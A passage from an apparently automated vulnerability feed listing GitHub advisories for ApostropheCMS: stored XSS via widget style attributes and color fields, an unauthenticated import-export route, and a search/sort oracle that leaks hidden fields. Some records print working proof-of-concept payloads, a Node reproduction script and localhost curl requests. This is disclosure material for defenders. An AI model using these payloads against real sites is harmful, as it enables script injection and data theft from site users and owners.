the widget wrapper's `style=\"...\"` attribute without HTML-attribute escaping.\n\nAn attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered.\n\nThis is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a ` ` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes.\n\n## Details\n\n### Root Cause 1: Free-form string style values retain HTML metacharacters\n\nThe standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context:\n\n[`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333)\n\n```javascript\nself.addFieldType({\n name: 'string',\n // ...\n convert(req, field, data, destination) {\n destination[field.name] = self.apos.launder.string(data[field.name]);\n destination[field.name] = checkStringLength(\n destination[field.name],\n field.min,\n field.max\n );\n }\n});\n```\n\nQuotes therefore remain in a value supplied through a style field.\n\n### Root Cause 2: The value is converted into inline CSS without value validation\n\nFor a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value:\n\n[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228)\n\n[`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647)\n\n```javascript\nrule = `${property}: ${normalized.value}${normalized.unit}`;\n\n// ...\n\nif (isInline) {\n return {\n css: '',\n classes: [ ...storage.classes ],\n inline: stringifyRules(storage.styles, true)\n };\n}\n```\n\nFor example, the value below becomes part of a `font-family` declaration:\n\n```text\nserif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline='executed'\n```\n\n### Root Cause 3: Attribute values are serialized without HTML escaping\n\n`getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key=\"value\"` without encoding `&`, ` `, `'`, or `\"`:\n\n[`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322)\n\n```javascript\nif (styleParts.length) {\n attrs.push(\n [ 'style', `${styleParts.join(';')};` ]\n );\n}\n\nif (options.asObject) {\n return Object.fromEntries(attrs);\n}\n\nreturn attrs\n .map(([ key, value ]) => `${key}=\"${value}\"`)\n .join(' ');\n```\n\nThe same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class=\"...\"`. The inline-property path was the path dynamically verified.\n\n### Root Cause 4: The unsafe string is used by the automatic public wrapper\n\nStyled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget:\n\n[`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457)\n\n```javascript\nif (hasStyles && self.options.stylesWrapper !== false) {\n const styles = self.apos.styles.prepareWidgetStyles(widget);\n const styleTag = self.apos.styles\n .getWidgetElements(styles, { scene: req.scene });\n const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);\n\n return `${styleTag} ${markup}\n\n`;\n}\n```\n\nConsequently, the injected attribute is present on normal public page renders, not only in the editor UI.\n\n### Why the CVE-2026-33889 defense does not prevent this variant\n\nThe sibling advisory led to a defense in `getWidgetElements()` that rewrites ` ` element:\n\n```javascript\ncss = css.replaceAll(' {\n const { renderScopedStyles } = await import(\n './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'\n );\n\n const payload =\n 'serif\" tabindex=\"0\" autofocus ' +\n 'onfocus=\"document.body.dataset.inline=\\'executed\\'';\n\n const styles = renderScopedStyles(\n [ {\n name: 'customFont',\n type: 'string',\n property: 'font-family'\n } ],\n { customFont: payload }\n );\n\n Object.assign(styles, {\n styleId: 'audit-inline',\n widgetId: 'widget-1'\n });\n\n const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);\n console.log('inline:', styles.inline);\n console.log('attributes:', attrs);\n})();\n```\n\n### Step 4: Observe the unsafe HTML\n\nThe current renderer produced:\n\n```text\ninline: font-family: serif\" tabindex=\"0\" autofocus onfocus=\"document.body.dataset.inline='executed';\n```\n\nThe serializer then produced an attribute string equivalent to:\n\n```html\nid=\"audit-inline\"\ndata-apos-widget-style-wrapper-for=\"widget-1\"\ndata-apos-widget-styl\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.34.0","action":"GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:15:07.000Z","updatedAt":"2026-10-21T17:15:08.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-7jg5-frgc-c67w","asOf":"2026-10-21T17:15:08.000Z"},"epss":{"probability":0.00304,"percentile":0.22923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112958&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7jg5-frgc-c67w","url":"https://github.com/advisories/GHSA-7jg5-frgc-c67w","type":"primary","publishedAt":"2026-10-21T17:15:07.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-7jg5-frgc-c67w, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112958&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112958, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113648","cveId":"CVE-2026-113648","aliases":["GHSA-rw26-wwfc-9wvm"],"kind":"vulnerability","title":"ApostropheCMS: Missing Authentication in `cleanExport` Route","summary":"---\n\n---","detail":"#### 1. Summary\nThe API endpoint `POST /api/v1/@apostrophecms/import-export/clean-export` in `@apostrophecms/import-export` lacks authentication and authorization checks. Any client—including unauthenticated anonymous users who have obtained the standard CSRF cookie from visiting the site—can directly invoke this route and trigger the underlying `self.cleanExport(req)` method.\n\n---\n\n#### 2. Affected Files & Endpoints\n* **Endpoint:** `POST /api/v1/@apostrophecms/import-export/clean-export`\n* **Route Definition:** `packages/import-export/lib/apiRoutes.js` (lines 32–34)\n* **Method Implementation:** `packages/import-export/lib/methods/import.js` (lines 1271–1324)\n\n---\n\n#### 3. Root Cause Analysis\nIn `packages/import-export/lib/apiRoutes.js`, the `get.related` handler explicitly validates that the caller is logged in:\n```javascript\nget: {\n async related(req) {\n if (!req.user) {\n throw self.apos.error('forbidden');\n }\n // ...\n }\n}\n```\nIn contrast, `post.cleanExport` (as well as `post.overrideDuplicates`) lacks any verification of `req.user`:\n```javascript\npost: {\n async overrideDuplicates(req) {\n return self.overrideDuplicates(req);\n },\n\n async cleanExport(req) {\n return self.cleanExport(req); // {\n get: { ... },\n post: {\n async overrideDuplicates(req) {\n+ if (!req.user) {\n+ throw self.apos.error('forbidden');\n+ }\n return self.overrideDuplicates(req);\n },\n \n async cleanExport(req) {\n+ if (!req.user) {\n+ throw self.apos.error('forbidden');\n+ }\n return self.cleanExport(req);\n }\n }\n```\n\nAffected package ranges reported by GitHub:\n@apostrophecms/import-export: < 3.7.1","action":"GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:13:28.000Z","updatedAt":"2026-10-21T17:13:28.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/import-export","stacks":["JavaScript packages (npm)","@apostrophecms/import-export","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-rw26-wwfc-9wvm","asOf":"2026-10-21T17:13:28.000Z"},"epss":{"probability":0.00328,"percentile":0.25702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rw26-wwfc-9wvm","url":"https://github.com/advisories/GHSA-rw26-wwfc-9wvm","type":"primary","publishedAt":"2026-10-21T17:13:28.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-rw26-wwfc-9wvm, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112954","cveId":"CVE-2026-112954","aliases":["GHSA-rqgm-cfrp-4hx8"],"kind":"vulnerability","title":"ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API","summary":"- use `?search= ` as a **value oracle** to confirm and locate documents by the content of a field the projection was meant to hide, and\n- use `?sort[hiddenField]=1` as an **ordering oracle** to rank documents by a hidden field's value.\n\nThis is the same confidentiality-bypass class already patched for the `choices`/`counts` builders (gated by `choicesFieldAllowedByProjection`). That gate was never applied to `search` or `sort`.","detail":"### Summary\nApostropheCMS lets a module expose an anonymous read API by setting `publicApiProjection`, which whitelists the document fields unauthenticated callers may see. The public REST GET handler applies every launderable query builder from the query string *before* forcing that projection. Two of those builders, `search` and `sort`, operate on the underlying documents rather than the projected output, and neither is checked against the projection. An unauthenticated attacker can therefore:\n\n- use `?search= ` as a **value oracle** to confirm and locate documents by the content of a field the projection was meant to hide, and\n- use `?sort[hiddenField]=1` as an **ordering oracle** to rank documents by a hidden field's value.\n\nThis is the same confidentiality-bypass class already patched for the `choices`/`counts` builders (gated by `choicesFieldAllowedByProjection`). That gate was never applied to `search` or `sort`.\n\n### Details\nFor an anonymous caller, `getRestQuery` (piece types: `modules/@apostrophecms/piece-type/index.js:1142`; pages: `modules/@apostrophecms/page/index.js`) does:\n\n```js\nconst query = self.find(req).attachments(true);\nquery.applyBuildersSafely(req.query); // (1) apply ALL launderable builders from the query string\n...\nquery.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); // (2) force read projection\nquery.set('publicApiProjection', self.options.publicApiProjection); // (3) used only by the choices/counts gate\n```\n\n`applyBuildersSafely` (`modules/@apostrophecms/doc-type/index.js:3327`) runs any builder that has a `launder` method. `search` and `sort` both have one (`doc-type/index.js:2288` and `2127`), so `?search=` and `?sort[...]=` are honored for anonymous requests.\n\n**Search vector.** The `search` builder adds `{ $text: { $search: } }` (`doc-type/index.js:2282`). The `$text` index covers `highSearchText` / `lowSearchText` / `title` / `searchBoost` (`modules/@apostrophecms/doc/index.js:612`). `highSearchText` / `lowSearchText` are built at save time by `@apostrophecms/search:getSearchTexts` → `apos.schema.indexFields(schema, doc, texts)` (`modules/@apostrophecms/search/index.js:377`), which indexes every schema field where `searchable !== false` (the default for string/text fields). `publicApiProjection` does not imply `searchable: false`. Step (2) narrows the output but not the `$text` filter, so the response returns the projected `{title, slug, _id}` of exactly the documents whose hidden field contains the searched word.\n\n**Sort vector.** `finalizeSort` (`doc-type/index.js:3526`) forwards raw user sort keys to MongoDB (it only rewrites fields flagged `sortify: true`). `?sort[hiddenField]=1` orders results by a projection-excluded field. Combined with `perPage`/`page`, an attacker can page through the fully ordered set.\n\nNeither builder consults `publicApiProjection`, whereas `choices`/`counts` are gated at `doc-type/index.js:2807` via `choicesFieldAllowedByProjection`.\n\n### PoC\n**Preconditions:** the piece/page type sets `publicApiProjection`, and its schema has at least one searchable (default) or sortable field not included in the projection.\n\nTest type: `article` exposes only `title`, `slug`, `_id`, but has hidden `secret` (integer) and `secretNote` (searchable string):\n\n```js\nexport default {\n extend: '@apostrophecms/piece-type',\n options: { publicApiProjection: { title: 1, slug: 1, _id: 1 } },\n fields: { add: {\n secret: { type: 'integer' },\n secretNote: { type: 'string' } // searchable by default; NOT in the projection\n } }\n};\n```\n\nFive articles were inserted and published via the authenticated REST API:\n`A.secret=50, secretNote=\"zzsecretalpha\"`; `B=10/zzsecretbravo`; `C=90/zzsecretcharlie`; `D=30/zzsecretdelta`; `E=70/zzsecretecho`.\nThe insert responses confirm the hidden `secretNote` value is written into the search index, e.g. for A: `\"highSearchText\": \"... zzsecretalpha\"`, `\"lowSearchText\": \"... zzsecretalpha\"`.\n\nAnonymous requests (no credentials, no session):\n\n```bash\n# [1] Baseline: projection hides secret/secretNote on direct read\ncurl -s 'http://localhost:3000/api/v1/article?perPage=1'\n\n# [2] Search oracle: value exists ONLY in hidden secretNote\ncurl -s 'http://localhost:3000/api/v1/article?search=zzsecretalpha'\ncurl -s 'http://localhost:3000/api/v1/article?search=zznotpresentxyz'\n\n# [3] Sort oracle: order by hidden integer field\ncurl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=1'\ncurl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=-1'\n\n# Negative control: projection override is blocked\ncurl -s 'http://localhost:3000/api/v1/article?project%5BsecretNote%5D=1&perPage=1'\n```\n\nResults (verified on ApostropheCMS 4.32.2, MongoDB 7.0):\n\n| Request (anonymous) | Observed | Verdict |\n| ------------------------- | ------------------------------------------------- | ------------------------------------- |\n| `GET /api/v1/article` | `_id,title,slug,type,metaType,cacheInvalidatedAt` | projection works on direct read |\n| `?search=zzsecretalpha` | only Article A (with textScore) | **leak**: locates doc by hidden field |\n| `?search=zznotpresentxyz` | 0 results | oracle confirmed |\n| `?sort[secret]=1` | B, D, A, E, C (= 10,30,50,70,90) | **leak**: full hidden ordering |\n| `?sort[secret]=-1` | C, E, A, D, B | reverse confirmed |\n| `?project[secretNote]=1` | secretNote absent | gated (projection override blocked) |\n\n### Impact\nUnauthenticated, network-reachable partial disclosure of fields the developer explicitly restricted with `publicApiProjection`:\n\n- **Search oracle:** confirm and locate documents by words in hidden fields (e.g. internal notes, contact emails, draft metadata, moderation/status flags), returning the `title`/`slug`/`_id` of matches.\n- **Sort oracle:** full ordering of documents by a hidden field. With one known reference value or a paging binary search, exact hidden values can be recovered.\n\nNo authentication or user interaction required. Not a full field dump, but a targeted oracle over exactly th\n\nAffected package ranges reported by GitHub:\napostrophe: < 4.34.0","action":"GitHub lists first patched versions: apostrophe: 4.34.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T17:12:15.000Z","updatedAt":"2026-10-21T17:12:17.000Z","regions":["Global"],"vendor":null,"product":"apostrophe","stacks":["JavaScript packages (npm)","apostrophe","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-rqgm-cfrp-4hx8","asOf":"2026-10-21T17:12:17.000Z"},"epss":{"probability":0.00444,"percentile":0.38378,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rqgm-cfrp-4hx8","url":"https://github.com/advisories/GHSA-rqgm-cfrp-4hx8","type":"primary","publishedAt":"2026-10-21T17:12:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-rqgm-cfrp-4hx8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112951","cveId":"CVE-2026-112951","aliases":["GHSA-vmgj-9cwm-cf3h"],"kind":"vulnerability","title":"ApostropheCMS: Color field validation bypass allows stored XSS via HTML appended after rgb()/hsl() prefix","summary":"```js\nconst { TinyColor } = require('@ctrl/tinycolor');\nif (!new TinyColor(value).isValid) throw self.apos.error('invalid');\n```\n\nTinyColor's `rgb`/`hsl` matchers are not anchored at the end of the string, while hex matchers are. Tested with @ctrl/tinycolor","detail":"### Summary\nThe color field accepts any string that *begins* with a valid `rgb()` / `hsl()` color, because `TinyColor.isValid` does not anchor its match at the end of the string. An authenticated user with edit rights can store arbitrary HTML after a valid color prefix. When the stored value is rendered , the payload executes, resulting in stored XSS.\n\n### Details\nServer-side validation of the color field relies on TinyColor:\n\n```js\nconst { TinyColor } = require('@ctrl/tinycolor');\nif (!new TinyColor(value).isValid) throw self.apos.error('invalid');\n```\n\nTinyColor's `rgb`/`hsl` matchers are not anchored at the end of the string, while hex matchers are. Tested with @ctrl/tinycolor\n\n| Input | `isValid` |\n|---|---|\n| `rgb(1,2,3) ` | `true` |\n| `rgb(1,2,3) ` | `true` |\n| `hsl(0,100%,50%);--x:1} ` | `true` |\n| `#ff0000 ` | `false` |\n\nThe value is saved to MongoDB unchanged (not normalized to hex8).\n\n### Relation to GHSA-97v6-998m-fp4g\nGHSA-97v6 